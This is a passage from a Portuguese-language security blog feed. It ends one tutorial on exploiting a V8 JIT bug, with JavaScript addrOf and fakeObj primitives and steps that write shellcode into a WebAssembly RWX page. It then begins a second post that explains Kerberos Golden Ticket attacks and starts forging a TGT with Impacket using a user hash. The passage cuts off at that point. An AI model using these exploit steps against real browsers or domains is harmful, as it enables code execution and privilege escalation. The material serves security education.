&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;obj_map&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;ftoi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;read_bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;obj_map_leak&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xffffffff&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//! info: o &amp;#34;&amp;gt;&amp;gt; 32n&amp;#34; serve para pegar apenas os 32bits mais altos
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ex: 0xf1f1f1f1f2f2f2f2 &amp;gt;&amp;gt; 32 == 0xf1f1f1f1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fixed_arr_prop&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;ftoi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;read_bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;obj_map_leak&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// No v8, o float map fica em um offset fixo de 0x50 do Map de objetos
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;float_map&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;obj_map&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x50&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Com os endereços dos Maps, podemos criar as primitivas de &lt;code&gt;addrOf&lt;/code&gt; e &lt;code&gt;fakeObj&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;addrOf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;obj_arr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// Sobreescreve o Map do obj_arr para o float_map
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;nx&#34;&gt;write_bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;obj_arr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;itof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;fixed_arr_prop&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;float_map&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// acessa o endereço
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;nx&#34;&gt;addr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;ftoi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;obj_arr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xffffffff&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;obj_arr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;addr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fakeObj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;obj_arr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// escreve o endereço recebido como primeiro elemento do array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;nx&#34;&gt;write_bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;obj_arr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;itof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;BigInt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;fake&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;obj_arr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;obj_arr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fake&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;E pronto, temos exatamente tudo que precisamos, finalizaremos a seguir o exploit da mesma forma que fizemos no último post:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fake_arr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;itof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;float_map&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fake&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fakeObj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addrOf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;fake_arr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;rwx_page_addr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;ftoi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addrOf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;wasm_instance&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x68&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;shellcode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// msfvenom -p &amp;lt;your payload&amp;gt; --format dword
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;copy_shellcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;rwx_page_addr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;shellcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;wasm_exec_shellcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;O exploit final pode ser acessado no &lt;a class=&#34;link&#34; href=&#34;https://github.com/harddiskbrasil/blog-browser-exploitation/blob/master/JIT-exploitation/exploit.js&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;github da harddisk&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Esse post foi uma introdução a JIT e exploit um pouco mais complexos, futuramente terão mais posts a cerca de exploração de navegadores de formas mais complexas e em outros módulos, como IPC, HTML parser e outros, espero q tenha gostado e em caso de qualquer duvida pode, nossa comunidade no &lt;a class=&#34;link&#34; href=&#34;https://discord.gg/vXjHReCVk8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;discord&lt;/a&gt; está aberta!&lt;/p&gt;
&lt;h2 id=&#34;referencias&#34;&gt;Referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Exploiting Logic Bugs in JavaScript JIT Engines
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;http://phrack.org/issues/70/9.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;http://phrack.org/issues/70/9.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Attacking Client-Side JIT Compilers
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://youtu.be/emt1yf2Fg9g&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://youtu.be/emt1yf2Fg9g&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Speculation in JavaScriptCore
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://webkit.org/blog/10308/speculation-in-javascriptcore/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://webkit.org/blog/10308/speculation-in-javascriptcore/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Introduction to TurboFan
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Turboflan PicoCTF 2021 Writeup (v8 + introductory turbofan pwnable)
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.willsroot.io/2021/04/turboflan-picoctf-2021-writeup-v8.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://www.willsroot.io/2021/04/turboflan-picoctf-2021-writeup-v8.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;referencias-para-estudo-de-compiladores&#34;&gt;Referencias para estudo de compiladores&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Linguagem Compilada vs Interpretada | Qual é melhor?
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://youtu.be/SNyh-cubxaU&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://youtu.be/SNyh-cubxaU&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Compiladores - Curso Completo
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://youtube.com/playlist?list=PLjcmNukBom6--0we1zrpoUE2GuRD-Me6W&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://youtube.com/playlist?list=PLjcmNukBom6--0we1zrpoUE2GuRD-Me6W&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/R3tr074&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;R3tr0&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] Golden Ticket</title>
        <link>https://harddisk.com.br/p/pt-br-golden-ticket/</link>
        <pubDate>Wed, 05 Jan 2022 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-golden-ticket/</guid>
        <description>&lt;img src="https://img.elo7.com.br/product/original/34FC59D/golden-ticket-wonka-wonka.jpg" alt="Featured image of post [PT-BR] Golden Ticket" /&gt;&lt;h1 id=&#34;golden-ticket&#34;&gt;Golden Ticket.&lt;/h1&gt;
&lt;p&gt;Bom, para iniciarmos o nosso estudo sobre &lt;strong&gt;Golden Ticket&lt;/strong&gt;, nós vamos definir o processo do aprendizado em etapas:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;O que é Kerberos?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;O que é um Ticket?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Como isso funciona?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;O que é ataque de Golden Ticket?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;O que é Impacket?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Como faço o ataque?&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;Iniciando pela primeira etapa, vamos definir o que é &lt;strong&gt;Kerberos&lt;/strong&gt;. O mesmo se trata de um &lt;strong&gt;protocolo de rede&lt;/strong&gt; onde fornece &lt;strong&gt;autenticação&lt;/strong&gt; ao usuário solicitado. O foco da criação do Kerberos foi tratar de maneira segura a autenticação do usuário na rede.&lt;/p&gt;
&lt;p&gt;Com a intenção de tratar de maneira segura a autenticação de um usuário na rede, o Kerberos utiliza de uma feature chamada de &lt;strong&gt;Ticket&lt;/strong&gt;. O Ticket irá funcionar para verificar e autorizar a autenticidade daquele usuário, comprovando de que aquele usuário é de fato ele mesmo.&lt;/p&gt;
&lt;p&gt;Em um ambiente de &lt;strong&gt;Active Directory&lt;/strong&gt;, todo Domain Controller (DC) possui um centro de distribuição de Kerberos, ou &lt;strong&gt;Kerberos Distribution Center&lt;/strong&gt; (KDC), serviço que processa todas as requisições para o Kerberos. Com isso, há uma conta chamada &lt;strong&gt;KRBTGT&lt;/strong&gt;, usuário responsável para atuar como uma conta serviço para o KDC. É ela que irá assinar/criptografar tickets emitidos pelo KDC.&lt;/p&gt;
&lt;p&gt;Outro componente importante é o &lt;strong&gt;Authentication Server&lt;/strong&gt; (AS). É nele que ocorre a verificação do cliente. Caso a verificação seja concluída com êxito, ele retorna para o usuário um ticket chamado &lt;strong&gt;TGT&lt;/strong&gt; (Ticket Granting Ticket) ****e uma chave de sessão.&lt;/p&gt;
&lt;p&gt;O &lt;strong&gt;TGT&lt;/strong&gt; é o ticket utilizado para confirmar que o usuário foi de fato autenticado com sucesso. Outro componente importante do processo é o &lt;strong&gt;TGS&lt;/strong&gt; (Ticket Granting Server). É exatamente o &lt;strong&gt;TGS&lt;/strong&gt; que permitirá que o usuário acesse os serviços da rede. Abaixo, há uma ilustração de como ocorre o processo:&lt;/p&gt;
&lt;p&gt;&lt;figure style=&#34;flex-grow: 200; flex-basis: 480px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-golden-ticket/Untitled.png&#34; data-size=&#34;1018x508&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-golden-ticket/Untitled.png&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-golden-ticket/Untitled_hu39174079cd2fdcce8217f73bf8167319_80263_480x0_resize_box_3.png 480w, https://harddisk.com.br/p/pt-br-golden-ticket/Untitled_hu39174079cd2fdcce8217f73bf8167319_80263_1024x0_resize_box_3.png 1024w&#34;
				width=&#34;1018&#34;
				height=&#34;508&#34;
				loading=&#34;lazy&#34;
				alt=&#34;funcionamento do kerberos&#34;&gt;
		&lt;/a&gt;
		
		&lt;figcaption&gt;funcionamento do kerberos&lt;/figcaption&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Como vimos, o cliente (usuário legítimo) envia o seu usuário para o &lt;strong&gt;AS&lt;/strong&gt; (Authentication Server), e o mesmo retorna uma chave de sessão e o Ticket (&lt;strong&gt;TGT&lt;/strong&gt;). Com o TGT em mãos, o cliente retorna para o AS o TGT e uma requisição para o serviço que ele quer usar. Caso o TGT for válido, o AS irá retornar para o cliente o Ticket que permitirá ele utilizar os serviços da rede. Feito isso, o usuário conseguirá utilizar os serviços da rede.&lt;/p&gt;
&lt;p&gt;Como vimos, o AS retorna para o usuário a chave de sessão e o TGT para confirmar que de fato ele foi autenticado na rede e que ele é de fato quem ele diz ser. Mas, caso burlássemos esse mecanismo e forjássemos o TGT para se passar por outro usuário, o que aconteceria? Elevaríamos privilégios no sistema? A resposta é sim, e o nome disso é ataque de &lt;strong&gt;Golden Ticket&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;strong&gt;Impacket&lt;/strong&gt; é uma coleção de scripts feitos em python, sendo possível ser encontrada no &lt;a class=&#34;link&#34; href=&#34;https://github.com/SecureAuthCorp/impacket&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;GitHub&lt;/a&gt;, focadas em invasões em protocolos de redes comumente em ambientes &lt;strong&gt;Windows&lt;/strong&gt;. Nessa coleção, é encontrada o que precisamos para realizar o ataque de &lt;strong&gt;Golden Ticket&lt;/strong&gt;. Vamos pra prática? 🐙&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Com isso, avançamos para a primeira etapa do ataque: &lt;strong&gt;a criação do Ticket&lt;/strong&gt;. Para criarmos nosso &lt;strong&gt;TGT&lt;/strong&gt;, utilizamos o script &lt;strong&gt;&lt;a class=&#34;link&#34; href=&#34;http://getTGT.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;getTGT.py&lt;/a&gt;&lt;/strong&gt; para forjarmos o TGT e criarmos um com um usuário com um privilégio maior que o nosso (no meu caso, vai ser o usuário web_svc que possui privilégio de administrador).&lt;/p&gt;
&lt;p&gt;O que fizemos abaixo foi rodar o script “&lt;strong&gt;getTGT.py&lt;/strong&gt;” (disponível no Impacket), especificar a &lt;strong&gt;hash&lt;/strong&gt; do usuário, o domínio da vítima e o nome de usuário.&lt;/p&gt;
&lt;p&gt;&lt;figure style=&#34;flex-grow: 1054; flex-basis: 2531px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-golden-ticket/Untitled_1.png&#34; data-size=&#34;675x64&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-golden-ticket/Untitled_1.png&#34;
